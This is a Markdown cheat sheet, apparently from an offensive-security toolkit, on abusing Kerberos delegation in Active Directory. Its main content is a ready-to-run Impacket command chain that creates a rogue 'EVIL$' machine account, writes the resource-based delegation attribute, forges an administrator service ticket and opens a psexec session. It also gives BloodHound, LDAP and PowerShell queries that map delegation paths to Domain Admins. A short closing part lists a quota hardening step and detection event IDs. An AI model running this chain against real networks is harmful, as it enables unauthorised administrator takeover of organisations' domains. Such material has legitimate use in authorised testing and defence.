<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# Kerberos Delegation Abuse — API Reference

## Impacket Commands

```bash
# Find all delegation configurations
impacket-findDelegation target.com/user:password -dc-ip DC_IP

# Create machine account (RBCD prerequisite)
impacket-addcomputer target.com/user:password -computer-name 'EVIL$' -computer-pass 'Pass1'

# Set RBCD attribute
impacket-rbcd target.com/user:password -delegate-from 'EVIL$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write

# Read RBCD attribute
impacket-rbcd target.com/user:password -delegate-to 'TARGET$' -dc-ip DC_IP -action read

# S4U ticket request
impacket-getST target.com/'EVIL$':'Pass1' -spn cifs/TARGET.target.com -impersonate administrator -dc-ip DC_IP

# Use forged ticket
export KRB5CCNAME=administrator@cifs_TARGET.target.com@TARGET.COM.ccache
impacket-psexec -k -no-pass TARGET.target.com
```

## BloodHound Cypher Queries

```cypher
# Find unconstrained delegation (non-DC)
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name CONTAINS 'DC' RETURN c.name

# Find constrained delegation
MATCH (c:Computer) WHERE c.allowedtodelegate IS NOT NULL RETURN c.name, c.allowedtodelegate

# Find RBCD paths
MATCH p=(u)-[:AllowedToAct]->(c:Computer) RETURN p

# Shortest path via delegation to Domain Admin
MATCH p=shortestPath((c:Computer {unconstraineddelegation:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@TARGET.COM'})) RETURN p
```

## LDAP Queries

```bash
# Unconstrained delegation (UAC flag 524288)
ldapsearch -x -H ldap://DC_IP -D "user@domain" -w "pass" -b "DC=target,DC=com" \
  "(userAccountControl:1.2.840.113556.1.4.803:=524288)" sAMAccountName

# Constrained delegation
ldapsearch -x -H ldap://DC_IP -D "user@domain" -w "pass" -b "DC=target,DC=com" \
  "(msDS-AllowedToDelegateTo=*)" sAMAccountName msDS-AllowedToDelegateTo

# Protocol transition
ldapsearch -x -H ldap://DC_IP -D "user@domain" -w "pass" -b "DC=target,DC=com" \
  "(userAccountControl:1.2.840.113556.1.4.803:=16777216)" sAMAccountName

# RBCD
ldapsearch -x -H ldap://DC_IP -D "user@domain" -w "pass" -b "DC=target,DC=com" \
  "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" sAMAccountName
```

## PowerShell Commands

```powershell
# Find unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation

# Find constrained delegation
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo

# Check MachineAccountQuota
Get-ADObject -Identity ((Get-ADDomain).DistinguishedName) -Properties ms-DS-MachineAccountQuota

# Set MachineAccountQuota to 0
Set-ADDomain -Identity target.com -Replace @{"ms-DS-MachineAccountQuota"=0}
```

## Event IDs for Delegation Detection

| Event ID | Description | Key Field |
|----------|-------------|-----------|
| 4769 | TGS Request | TransmittedServices (S4U) |
| 5136 | Directory Object Modified | msDS-AllowedToActOnBehalfOfOtherIdentity |
| 4624 | Logon (Type 3) | Impersonation from delegation |
| 4768 | TGT Request | Delegation ticket flags |
